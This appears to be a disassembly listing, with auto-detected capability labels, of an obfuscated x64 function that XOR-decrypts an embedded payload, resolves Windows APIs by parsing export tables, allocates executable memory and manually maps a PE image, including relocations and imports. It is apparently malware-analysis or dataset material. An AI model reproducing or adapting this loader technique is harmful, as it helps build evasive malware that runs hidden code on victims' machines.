Function at 0x180001060
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
cmp dword [0x180020a6c], 0xa
jl 0x180001092
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001092
nop word [rax + rax]
jmp 0x180001090
mov dl, byte [section..data]
mov byte [rsp + 0x34], dl
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x1800010e8
test eax, eax
je 0x1800010e8
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r8b
cmp ecx, 0xa
setl bl
or bl, r8b
nop dword [rax]
test bl, bl
je 0x1800010e0
mov byte [rsp + 0x34], dl
cmp ecx, 0xa
jl 0x1800010f5
test eax, eax
jne 0x180001220
mov dl, byte [0x180004001]
mov byte [rsp + 0x35], dl
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x180001148
test eax, eax
je 0x180001148
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r8b
cmp ecx, 0xa
setl bl
or bl, r8b
nop
test bl, bl
je 0x180001140
mov byte [rsp + 0x35], dl
cmp ecx, 0xa
jl 0x180001155
test eax, eax
jne 0x180001220
mov dl, byte [0x180004002]
mov byte [rsp + 0x36], dl
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x1800011a8
test eax, eax
je 0x1800011a8
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r8b
cmp ecx, 0xa
setl bl
or bl, r8b
nop
test bl, bl
je 0x1800011a0
mov byte [rsp + 0x36], dl
cmp ecx, 0xa
jl 0x1800011b1
test eax, eax
jne 0x180001220
mov bl, byte [0x180004003]
mov byte [rsp + 0x37], bl
mov esi, dword [0x180020a70]
mov edi, dword [0x180020a6c]
lea edx, [rsi - 1]
imul edx, esi
and edx, 1
cmp edi, 0xa
jl 0x180001208
test edx, edx
je 0x180001208
mov esi, dword [0x180020a70]
mov edi, dword [0x180020a6c]
lea edx, [rsi - 1]
imul edx, esi
and edx, 1
sete al
cmp edi, 0xa
setl cl
or cl, al
nop dword [rax]
test cl, cl
je 0x180001200
mov byte [rsp + 0x37], bl
cmp edi, 0xa
jl 0x180001222
test edx, edx
je 0x180001222
nop word cs:[rax + rax]
nop dword [rax + rax]
jmp 0x180001220
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180020a78], 0xa
setl dl
or dl, al
cmp dl, 1
jne 0x180001290
mov r14d, dword [rsp + 0x34]
xor ebx, ebx
lea r15, section..data
nop word cs:[rax + rax]
nop dword [rax]
cmp r14, rbx
je 0x180001292
mov ecx, ebx
and ecx, 0x3ff
movzx ecx, byte [rcx + r15 + 4]
xor cl, byte [rbx + r15 + 0x404]
xor cl, 0xc
mov byte [rbx + r15 + 0x404], cl
add rbx, 1
test dl, dl
jne 0x180001260
nop
jmp 0x180001290
cmp edi, 0xa
jl 0x1800012b2
lea ecx, [rsi - 1]
imul ecx, esi
and ecx, 1
je 0x1800012b2
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x1800012b0
lea r11, [r14 + r15]
add r11, 0x404
mov r9d, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea r10d, [r9 - 1]
imul r10d, r9d
and r10d, 1
sete r8b
cmp ecx, 0xa
setl bl
or bl, r8b
mov ebp, dword [0x180020a74]
lea edx, [rbp - 1]
imul edx, ebp
test dl, 1
sete dl
cmp dword [0x180020a78], 0xa
setl r8b
or r8b, dl
cmp edi, 0xa
jl 0x180001317
lea edx, [rsi - 1]
imul edx, esi
and edx, 1
jne 0x180001460
mov al, byte [r11]
mov byte [rsp + 0x30], al
test bl, bl
jne 0x18000132a
test bl, bl
je 0x180001322
mov byte [rsp + 0x30], al
cmp ecx, 0xa
jl 0x180001338
test r10d, r10d
jne 0x180001460
mov al, byte [r11 + 1]
mov byte [rsp + 0x31], al
test bl, bl
jne 0x18000134c
test bl, bl
je 0x180001344
mov byte [rsp + 0x31], al
cmp ecx, 0xa
jl 0x18000135a
test r10d, r10d
jne 0x180001460
mov al, byte [r11 + 2]
mov byte [rsp + 0x32], al
test bl, bl
jne 0x18000136e
test bl, bl
je 0x180001366
mov byte [rsp + 0x32], al
cmp ecx, 0xa
jl 0x18000137c
test r10d, r10d
jne 0x180001460
mov al, byte [r11 + 3]
mov byte [rsp + 0x33], al
test bl, bl
jne 0x180001390
test bl, bl
je 0x180001388
mov byte [rsp + 0x33], al
cmp ecx, 0xa
jl 0x18000139e
test r10d, r10d
jne 0x180001460
test r8b, r8b
jne 0x180001482
cmp ecx, 0xa
jl 0x1800013b5
test r10d, r10d
jne 0x180001480
mov al, byte [r11]
mov byte [rsp + 0x30], al
test bl, bl
jne 0x1800013c8
test bl, bl
je 0x1800013c0
mov byte [rsp + 0x30], al
cmp ecx, 0xa
jl 0x1800013d6
test r10d, r10d
jne 0x180001470
mov al, byte [r11 + 1]
mov byte [rsp + 0x31], al
test bl, bl
jne 0x1800013ea
test bl, bl
je 0x1800013e2
mov byte [rsp + 0x31], al
cmp ecx, 0xa
jl 0x1800013f4
test r10d, r10d
jne 0x180001470
mov al, byte [r11 + 2]
mov byte [rsp + 0x32], al
test bl, bl
jne 0x180001408
test bl, bl
je 0x180001400
mov byte [rsp + 0x32], al
cmp ecx, 0xa
jl 0x180001412
test r10d, r10d
jne 0x180001470
mov al, byte [r11 + 3]
mov byte [rsp + 0x33], al
test bl, bl
jne 0x180001426
test bl, bl
je 0x18000141e
mov byte [rsp + 0x33], al
cmp ecx, 0xa
jl 0x180001430
test r10d, r10d
jne 0x180001470
mov edi, ecx
mov esi, r9d
cmp ecx, 0xa
jl 0x180001303
mov edi, ecx
mov esi, r9d
test r10d, r10d
je 0x180001303
jmp 0x1800012b0
jmp 0x180001460
jmp 0x180001470
jmp 0x180001480
add r11, 4
mov ebp, dword [rsp + 0x30]
test rbp, rbp
je 0x18000161d
xor eax, eax
cmp ebp, 0x20
jb 0x1800015bf
lea rdx, [rbp - 1]
cmp rdx, 0x400
jae 0x1800015bf
lea rax, [r14 + r15]
add rax, 0x408
lea rcx, [r15 + rbp]
add rcx, 4
cmp rax, rcx
jae 0x1800014e6
lea rax, [r14 + rbp]
add rax, r15
add rax, 0x408
lea rcx, str.jwdbEYVAZqKlGGGgjZEsMmWPhfePRGUARbZaQbzKuQjcGZsXMDGtWvDHpMQbwiUQgaKXoHWxVewvEhtCJVqZxAPsYBivAZYfWtyUghQCsMqAgsYhxRlfCSKnoicrDGfxLSHMmTlTiJRuIXtgBxCEsOSRwHEbyHQBDXtnujKXsBLBYjrbZjRimjmJmohHXGalcWXiJzlZYiumIUxwziJZZxqeBCkLwHBXSSuZzIkQjnzPiWsLPpzBizAuPPbksOpsOZXLeiBsJmsLlhgQIQrnhKjJAcAUqhCkIvzlZreOsQzHXVOLBFZVidhgpHsZSsBtZZkkGJFOBwJwKELMsWVlQzHARjrEOfXVjoTQKIUmJrsSQgyKJLpMXZXpsBCkmzXAUHcEPLeLtzHEMurFhpcYPzJfKQLlnLFyMmYwnUUtLkuOZSjeXFlMUbbHquqsfybnaXdHpGUbvXJplXOwSZgqEecrHYyrXyIZAwzxXAFEMbODZgQCmVMRGLMIOvCJlWcTgGeWfBgjCzeqJTcBCMQRbzhPrZFSndARSJucunTbPkpkCIeCpbImfvjbedWHIiZSKgkHVonzYkPleDbxCGYsdFLQPVxrUYMFuhVBwHIDiTGQIDVnBGzuvHIlszTalMfWdJlSIyWXBoDnzlMcwVMXAhoZlDCIOsMmbDYFgTpvTTeqeDZEHgZAAlRywjCKxdufHQLPgZbTYoUbQJcRbHdwUaaiFdIWDKIouhoHRxpWluQVQinofihBaiYKwPVAjHgGOidXkwLohvyoEgxgVEcvyTsvIjVzLMritIoPFgWoPOGxCiVlDIOiPQLJkPETwsPbuOpGiJwWOjqEovQaSqDJoiEEVycyvUWzfokuRsmTpGjJqCTfBQsRCiWsRsBcCnGzQqnSWTQTkUiKXLImyFPredHpBpEketoFXOyGCwasrurAsgRsizjoIeHWjwvzDkjdbpbRkqLtHyaLzxsXeYejvaosAjVquICJDPqthQogjiICHVlkusmWPeotslHxPnG
cmp rax, rcx
jbe 0x1800014e6
xor eax, eax
jmp 0x1800015bf
mov eax, ebp
and eax, 0xffffffe0
lea rcx, [rax - 0x20]
mov rdx, rcx
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rcx, rcx
je 0x180001580
lea rdi, [r14 + r15]
add rdi, 0x438
mov rbx, r8
sub rbx, rdx
xor edx, edx
mov ecx, edx
and ecx, 0x3c0
movups xmm0, xmmword [rcx + r15 + 4]
movups xmm1, xmmword [rcx + r15 + 0x14]
movups xmm2, xmmword [rdi + rdx - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rdx - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rdx - 0x10]
movups xmm3, xmmword [rdi + rdx]
movups xmmword [rdi + rdx - 0x30], xmm2
movups xmmword [rdi + rdx - 0x20], xmm0
lea ecx, [rdx + 0x20]
and ecx, 0x3e0
movups xmm0, xmmword [rcx + r15 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rcx + r15 + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rdx - 0x10], xmm0
movups xmmword [rdi + rdx], xmm1
add rdx, 0x40
add rbx, 2
jne 0x180001519
jmp 0x180001582
xor edx, edx
test r8, r8
je 0x1800015ba
mov ecx, edx
and ecx, 0x3e0
movups xmm0, xmmword [rcx + r15 + 4]
movups xmm1, xmmword [rcx + r15 + 0x14]
mov rcx, r11
movups xmm2, xmmword [r11 + rdx]
xorps xmm2, xmm0
movups xmm0, xmmword [r11 + rdx + 0x10]
xorps xmm0, xmm1
movups xmmword [r11 + rdx], xmm2
movups xmmword [r11 + rdx + 0x10], xmm0
cmp rax, rbp
je 0x18000161d
mov rdx, rax
not rdx
test bpl, 1
je 0x1800015e0
mov ecx, eax
and ecx, 0x3e0
mov cl, byte [rcx + r15 + 4]
xor byte [r11 + rax], cl
or rax, 1
add rdx, rbp
je 0x18000161d
lea rdx, [r14 + r15]
add rdx, 0x409
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r15 + 4]
xor byte [rdx + rax - 1], cl
lea ecx, [rax + 1]
and ecx, 0x3ff
movzx ecx, byte [rcx + r15 + 4]
xor byte [rdx + rax], cl
add rax, 2
cmp rbp, rax
jne 0x1800015f0
cmp dword [0x180020a7c], 0xa
jl 0x180001642
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001642
nop word [rax + rax]
jmp 0x180001640
movsxd rax, dword [0x180004440]
cmp byte [r11], 0
lea r11, [r11 + 1]
jne 0x180001649
add rax, r15
add rax, 0x404
mov qword [rsp + 0x38], rax
mov rsi, r11
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x180001664
mov rbp, rsi
cmp byte [rbp], 0
lea rbp, [rbp + 1]
jne 0x180001670
mov r13, rbp
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x18000167d
mov rbx, r13
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x18000168b
mov rdi, rbx
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001697
mov qword [rsp + 0x40], r11
mov rcx, r11
call fcn.1800023e0
mov r10, rax
movsxd rax, dword [rax + 0x3c]
cmp dword [r10 + rax + 0x8c], 0
mov qword [rsp + 0x58], rsi
je 0x180001780
mov ecx, dword [r10 + rax + 0x88]
cmp dword [r10 + rcx + 0x14], 0
je 0x180001780
cmp dword [0x180020a84], 0xa
jl 0x1800016f8
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x1800016f8
jmp 0x1800016f6
mov eax, dword [r10 + rcx + 0x18]
mov dword [rsp + 0x48], eax
test eax, eax
je 0x180001780
mov eax, dword [r10 + rcx + 0x1c]
mov qword [rsp + 0x50], rax
cmp dword [0x180020a8c], 0xa
jl 0x18000172b
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x18000172b
jmp 0x180001729
add qword [rsp + 0x50], r10
mov eax, dword [r10 + rcx + 0x20]
mov r11d, dword [r10 + rcx + 0x24]
add rax, r10
add r11, r10
xor edx, edx
mov rsi, qword [rsp + 0x58]
mov ecx, dword [rax]
add rcx, r10
mov r12, rsi
movzx r8d, byte [r12]
movzx r9d, byte [rcx]
test r8b, r8b
je 0x18000176a
add r12, 1
add rcx, 1
cmp r8b, r9b
je 0x18000174f
cmp r8b, r9b
je 0x1800017a2
add edx, 1
add rax, 4
add r11, 2
cmp edx, dword [rsp + 0x48]
jne 0x180001747
xor r10d, r10d
cmp dword [0x180020a84], 0xa
jl 0x1800017ba
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800017ba
nop dword [rax]
jmp 0x1800017a0
movzx eax, word [r11]
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax*4]
add r10, rax
cmp dword [0x180020a84], 0xa
jge 0x18000178c
mov rcx, rbx
call r10
mov r10, rax
movsxd rax, dword [rax + 0x3c]
cmp dword [r10 + rax + 0x8c], 0
je 0x18000187d
mov eax, dword [r10 + rax + 0x88]
cmp dword [r10 + rax + 0x14], 0
je 0x18000187d
cmp dword [0x180020a84], 0xa
jl 0x180001806
mov ecx, dword [0x180020a88]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001806
jmp 0x180001804
mov r9d, dword [r10 + rax + 0x18]
test r9d, r9d
je 0x18000187d
mov esi, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001831
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001831
jmp 0x18000182f
add rsi, r10
mov r12d, dword [r10 + rax + 0x20]
mov r11d, dword [r10 + rax + 0x24]
add r12, r10
add r11, r10
xor eax, eax
mov ebx, dword [r12]
add rbx, r10
mov rdx, r13
movzx ecx, byte [rdx]
movzx r8d, byte [rbx]
test cl, cl
je 0x180001868
add rdx, 1
add rbx, 1
cmp cl, r8b
je 0x180001850
cmp cl, r8b
je 0x18000189c
add eax, 1
add r12, 4
add r11, 2
cmp eax, r9d
jne 0x180001846
xor r10d, r10d
cmp dword [0x180020a84], 0xa
jl 0x1800018af
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800018af
jmp 0x18000189a
movzx eax, word [r11]
mov eax, dword [rsi + rax*4]
add r10, rax
cmp dword [0x180020a84], 0xa
jge 0x180001889
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
xor r13d, r13d
mov r9d, 0x10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call r10
mov rcx, qword [rsp + 0x40]
call fcn.1800023e0
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx + 0x8c], 0
je 0x1800019bc
mov edx, dword [rax + rcx + 0x88]
cmp dword [rax + rdx + 0x14], 0
je 0x180001946
cmp dword [0x180020a84], 0xa
jl 0x18000191b
mov ecx, dword [0x180020a88]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
je 0x18000191b
jmp 0x180001919
mov r9d, dword [rax + rdx + 0x18]
test r9d, r9d
je 0x180001946
mov r8d, dword [rax + rdx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001957
mov ecx, dword [0x180020a90]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
je 0x180001957
jmp 0x180001944
xor r13d, r13d
cmp dword [0x180020a84], 0xa
jge 0x1800019c5
jmp 0x1800019d8
add r8, rax
mov r11d, dword [rax + rdx + 0x20]
mov r10d, dword [rax + rdx + 0x24]
add r11, rax
add r10, rax
lea rsi, [r14 + r15]
add rsi, 0x408
xor r13d, r13d
xor r12d, r12d
mov edi, dword [r11]
add rdi, rax
xor ebx, ebx
movzx edx, byte [rsi + rbx]
movzx ecx, byte [rdi + rbx]
test dl, dl
je 0x180001997
add rbx, 1
cmp dl, cl
je 0x180001983
cmp dl, cl
je 0x1800019ae
add r12d, 1
add r11, 4
add r10, 2
cmp r12d, r9d
jne 0x18000197b
jmp 0x1800019bc
movzx ecx, word [r10]
mov ecx, dword [r8 + rcx*4]
add rax, rcx
mov r13, rax
cmp dword [0x180020a84], 0xa
jl 0x1800019d8
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800019d8
jmp 0x1800019d6
mov rax, qword [rsp + 0x38]
mov edx, dword [rax + 0x50]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r13
mov r14, rax
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp ebx, 0xa
jl 0x180001a14
test ecx, ecx
je 0x180001a14
jmp 0x180001a12
cmp ebx, 0xa
jl 0x180001a1f
test ecx, ecx
je 0x180001a1f
jmp 0x180001a1d
mov rcx, qword [rsp + 0x38]
lea r8, [rcx + 0x108]
xor r9d, r9d
mov rcx, qword [rsp + 0x38]
movzx ecx, word [rcx + 6]
cmp r9, rcx
jae 0x180001c52
lea rax, [r9 + r9*4]
lea r10, [r8 + rax*8]
add r10, 0xc
mov esi, dword [0x180020a70]
mov edi, dword [0x180020a6c]
cmp edi, 0xa
jl 0x180001a6c
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001c4e
cmp edi, 0xa
jl 0x180001a80
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001c48
mov eax, dword [r10 + 4]
test rax, rax
je 0x180001ae8
mov ebx, dword [r10]
add rbx, r14
mov ecx, dword [r10 + 8]
add rcx, r15
add rcx, 0x404
jmp 0x180001ab0
add rax, 0xffffffffffffffff
add rcx, 1
add rbx, 1
test rax, rax
je 0x180001ae8
movzx edx, byte [rcx]
mov byte [rbx], dl
mov esi, dword [0x180020a70]
mov edi, dword [0x180020a6c]
lea edx, [rsi - 1]
imul edx, esi
and edx, 1
cmp edi, 0xa
jl 0x180001ada
test edx, edx
je 0x180001ada
movzx edx, byte [rcx]
mov byte [rbx], dl
jmp 0x180001ab0
cmp edi, 0xa
jl 0x180001a9f
test edx, edx
je 0x180001a9f
jmp 0x180001c48
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp ebx, 0xa
jl 0x180001c2c
test ecx, ecx
je 0x180001c2c
cmp edi, 0xa
jl 0x180001b22
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001c4c
mov eax, dword [r10 + 4]
test rax, rax
je 0x180001b8b
mov ecx, dword [r10 + 8]
lea rbx, [rcx + r15]
add rbx, 0x404
mov ecx, dword [r10]
add rcx, r14
jmp 0x180001b53
add rax, 0xffffffffffffffff
add rbx, 1
add rcx, 1
test rax, rax
je 0x180001b8b
movzx edx, byte [rbx]
mov byte [rcx], dl
mov esi, dword [0x180020a70]
mov edi, dword [0x180020a6c]
lea edx, [rsi - 1]
imul edx, esi
and edx, 1
cmp edi, 0xa
jl 0x180001b7d
test edx, edx
je 0x180001b7d
movzx edx, byte [rbx]
mov byte [rcx], dl
jmp 0x180001b53
cmp edi, 0xa
jl 0x180001b42
test edx, edx
je 0x180001b42
jmp 0x180001c46
cmp edi, 0xa
jl 0x180001b9f
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001c50
mov eax, dword [r10 + 4]
test rax, rax
je 0x180001c05
mov ecx, dword [r10 + 8]
lea rbx, [rcx + r15]
add rbx, 0x404
mov ecx, dword [r10]
add rcx, r14
jmp 0x180001bd0
add rax, 0xffffffffffffffff
add rbx, 1
add rcx, 1
test rax, rax
je 0x180001c05
movzx edx, byte [rbx]
mov byte [rcx], dl
mov esi, dword [0x180020a70]
mov edi, dword [0x180020a6c]
lea edx, [rsi - 1]
imul edx, esi
and edx, 1
cmp edi, 0xa
jl 0x180001bfa
test edx, edx
je 0x180001bfa
movzx edx, byte [rbx]
mov byte [rcx], dl
jmp 0x180001bd0
cmp edi, 0xa
jl 0x180001bbf
test edx, edx
je 0x180001bbf
jmp 0x180001c4a
cmp dword [0x180020a78], 0xa
jl 0x180001a58
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001b0e
jmp 0x180001a58
add r9, 1
cmp ebx, 0xa
jl 0x180001a2e
test ecx, ecx
je 0x180001a2e
jmp 0x180001a1d
jmp 0x180001c46
jmp 0x180001c48
jmp 0x180001c4a
jmp 0x180001c4c
jmp 0x180001c4e
jmp 0x180001c50
mov rcx, qword [rsp + 0x38]
mov r15d, dword [rcx + 0xb0]
add r15, r14
mov rdx, qword [rcx + 0x30]
mov r11, r14
sub r11, rdx
movabs r8, 0x1fffffff8
jmp 0x180001c7e
mov ecx, dword [r15 + 4]
add r15, rcx
lea edi, [rax - 1]
imul edi, eax
test dil, 1
sete r9b
cmp ebx, 0xa
setl dl
or dl, r9b
je 0x180001dbf
test dl, dl
je 0x180001dbf
cmp dword [r15], 0
je 0x180001de6
mov edx, dword [r15 + 4]
cmp rdx, 8
jb 0x180001dc8
cmp ebx, 0xa
jl 0x180001cc9
and edi, 1
jne 0x180001de2
add rdx, r8
shr rdx, 1
mov r9d, edx
xor r10d, r10d
cmp r10, r9
je 0x180001dc8
movzx edi, word [r15 + r10*2 + 8]
mov edx, edi
shr edx, 0xc
mov esi, edi
and esi, 0xfff
cmp edi, 0xa000
jae 0x180001d69
cmp edx, 3
jne 0x180001d86
cmp ebx, 0xa
jl 0x180001d16
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001de4
mov eax, dword [r15]
lea rdx, [r14 + rsi*4]
add dword [rdx + rax*4], r11d
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
cmp ebx, 0xa
jl 0x180001d86
lea esi, [rax - 1]
imul esi, eax
and esi, 1
je 0x180001d86
mov eax, dword [r15]
add dword [rdx + rax*4], r11d
mov eax, dword [r15]
add dword [rdx + rax*4], r11d
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
cmp ebx, 0xa
jl 0x180001d86
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d3d
jmp 0x180001d86
cmp edx, 0xa
jne 0x180001d86
mov eax, dword [r15]
mov edx, esi
add rdx, r14
add qword [rax + rdx], r11
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edi, [rax - 1]
imul edi, eax
test dil, 1
sete cl
cmp ebx, 0xa
setl dl
or dl, cl
jne 0x180001da7
xor esi, esi
test sil, 1
mov esi, edx
je 0x180001d9f
add r10, 1
cmp ebx, 0xa
jl 0x180001cd5
and edi, 1
je 0x180001cd5
jmp 0x180001de2
test dl, dl
je 0x180001dbf
jmp 0x180001c9b
cmp ebx, 0xa
jl 0x180001c77
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001c77
jmp 0x180001de0
jmp 0x180001de2
jmp 0x180001de4
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp ebx, 0xa
jl 0x180001dfa
test ecx, ecx
je 0x180001dfa
jmp 0x180001df8
lea rax, [r14 + 2]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x90]
add rax, r14
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov r13d, dword [rax + 0xc]
test r13, r13
je 0x18000236b
add r13, r14
jmp 0x180001e33
mov rcx, r13
call r10
mov rcx, qword [rsp + 0x40]
call fcn.1800023e0
mov r10, rax
movsxd rax, dword [rax + 0x3c]
cmp dword [r10 + rax + 0x8c], 0
je 0x180001eff
mov ebx, dword [r10 + rax + 0x88]
cmp dword [r10 + rbx + 0x14], 0
je 0x180001eff
cmp dword [0x180020a84], 0xa
jl 0x180001e85
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002355
mov r9d, dword [r10 + rbx + 0x18]
test r9d, r9d
je 0x180001eff
mov r8d, dword [r10 + rbx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001eb2
mov eax, dword [0x180020a90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000235d
add r8, r10
mov edi, dword [r10 + rbx + 0x20]
mov r11d, dword [r10 + rbx + 0x24]
add rdi, r10
add r11, r10
xor esi, esi
mov ebx, dword [rdi]
add rbx, r10
mov rcx, qword [rsp + 0x58]
movzx eax, byte [rcx]
movzx edx, byte [rbx]
test al, al
je 0x180001ee7
add rcx, 1
add rbx, 1
cmp al, dl
je 0x180001ed1
cmp al, dl
je 0x180002041
add esi, 1
add rdi, 4
add r11, 2
cmp esi, r9d
jne 0x180001ec7
xor r10d, r10d
cmp dword [0x180020a84], 0xa
jl 0x180001f20
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002351
mov rcx, r13
call r10
mov r12, rax
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp ebx, 0xa
jl 0x180002077
test ecx, ecx
je 0x180002077
mov rcx, qword [rsp + 0x40]
call fcn.1800023e0
mov r10, rax
movsxd rax, dword [rax + 0x3c]
cmp dword [r10 + rax + 0x8c], 0
je 0x180002017
mov ebx, dword [r10 + rax + 0x88]
cmp dword [r10 + rbx + 0x14], 0
je 0x180002017
cmp dword [0x180020a84], 0xa
jl 0x180001fa1
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002357
mov r9d, dword [r10 + rbx + 0x18]
test r9d, r9d
je 0x180002017
mov r8d, dword [r10 + rbx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001fce
mov eax, dword [0x180020a90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000235f
add r8, r10
mov edi, dword [r10 + rbx + 0x20]
mov r11d, dword [r10 + rbx + 0x24]
add rdi, r10
add r11, r10
xor esi, esi
mov ebx, dword [rdi]
add rbx, r10
mov rcx, qword [rsp + 0x58]
movzx eax, byte [rcx]
movzx edx, byte [rbx]
test al, al
je 0x180002003
add rcx, 1
add rbx, 1
cmp al, dl
je 0x180001fed
cmp al, dl
je 0x18000205e
add esi, 1
add rdi, 4
add r11, 2
cmp esi, r9d
jne 0x180001fe3
xor r10d, r10d
cmp dword [0x180020a84], 0xa
jl 0x180001e2d
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001e2d
jmp 0x180002353
movzx eax, word [r11]
mov eax, dword [r8 + rax*4]
add r10, rax
cmp dword [0x180020a84], 0xa
jge 0x180001f0b
jmp 0x180001f20
movzx eax, word [r11]
mov eax, dword [r8 + rax*4]
add r10, rax
cmp dword [0x180020a84], 0xa
jge 0x180002027
jmp 0x180001e2d
cmp ebx, 0xa
jl 0x180002084
test ecx, ecx
jne 0x180002369
mov rcx, qword [rsp + 0x48]
mov edx, dword [rcx]
mov r15d, dword [rcx + 0x10]
add r15, r14
add rdx, r14
mov qword [rsp + 0x60], rdx
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx]
test rcx, rcx
je 0x18000232c
mov rax, qword [rsp + 0x50]
add rax, rcx
test rcx, rcx
movzx r13d, cx
cmovns r13, rax
jmp 0x1800020cc
mov rcx, r12
mov rdx, r13
call r10
mov qword [r15], rax
mov rcx, qword [rsp + 0x40]
call fcn.1800023e0
mov r10, rax
movsxd rax, dword [rax + 0x3c]
cmp dword [r10 + rax + 0x8c], 0
je 0x180002196
mov edx, dword [r10 + rax + 0x88]
cmp dword [r10 + rdx + 0x14], 0
je 0x180002196
cmp dword [0x180020a84], 0xa
jl 0x18000211e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002361
mov r9d, dword [r10 + rdx + 0x18]
test r9d, r9d
je 0x180002196
mov r8d, dword [r10 + rdx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000214b
mov eax, dword [0x180020a90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002365
add r8, r10
mov edi, dword [r10 + rdx + 0x20]
mov r11d, dword [r10 + rdx + 0x24]
add rdi, r10
add r11, r10
xor edx, edx
mov ecx, dword [rdi]
add rcx, r10
mov rsi, rbp
movzx eax, byte [rsi]
movzx ebx, byte [rcx]
test al, al
je 0x18000217e
add rsi, 1
add rcx, 1
cmp al, bl
je 0x180002168
cmp al, bl
je 0x1800022d9
add edx, 1
add rdi, 4
add r11, 2
cmp edx, r9d
jne 0x180002160
xor r10d, r10d
cmp dword [0x180020a84], 0xa
jl 0x1800021b7
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002359
mov rcx, r12
mov rdx, r13
call r10
